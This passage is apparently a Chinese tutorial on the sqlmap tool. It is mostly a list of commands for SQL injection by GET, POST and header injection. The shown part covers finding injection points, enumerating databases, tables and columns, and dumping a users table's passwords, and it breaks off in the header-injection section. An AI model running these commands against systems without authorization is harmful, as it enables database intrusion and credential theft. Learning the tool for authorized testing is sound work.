文章目录
-
- 1.get使用方法:
- 2.post使用方法:
- 3.header注入使用方法:
- 4.指定注入的位置:
- 5.盲注使用不接收http body:
- 6.设置多线程(可以设置的最大数量为10,默认为1):
- 7.预测输出:
- 8.持久连接:
- 9.指定数据库的探测
- 10.sqlmap脚本绕过[详细的脚本解释](https://blog.youkuaiyun.com/qq_34444097/article/details/82717357)
- 11.强制设置无效值替换:
- 12.自定义载荷(payload)位置
- 13.sqlmay设置tamper脚本:
- 14.sqlmap设置具体的注入技术:
- 15.查看当前用户以及是否是dba用户
- 16.枚举dbms的权限
- 17.爬取url:
1.get使用方法:
1.查看是否有注入点:sqlmap -u 网址
2.爆出数据库名:sqlmap -u 网址 --dbs
5.爆出数据库的表名:sqlmap -u 网址 -D security --tables
6.爆出数据库的列名:sqlmap -u 网址 -D security -T users --columns
7.dump出数据:sqlmap -u -D security -T users -C id,password,username --dump
2.post使用方法:
1.使用burp抓包,将请求内容保存在txt文件中(或者使用-u 网址 --data ‘data’来代替)
2.使用sqlmap检查是否存在注入点:sqlmap -r 文档位置
3.使用sqlmap爆库名:sqlmap -r 文档位置 --dbs
其余步骤与get方式一样
3.header注入使用方法:
当我们使用–level 3时就会检查UA,referer是否存在注入,而level 2则会检测cookie
1.查看是否存在注入点: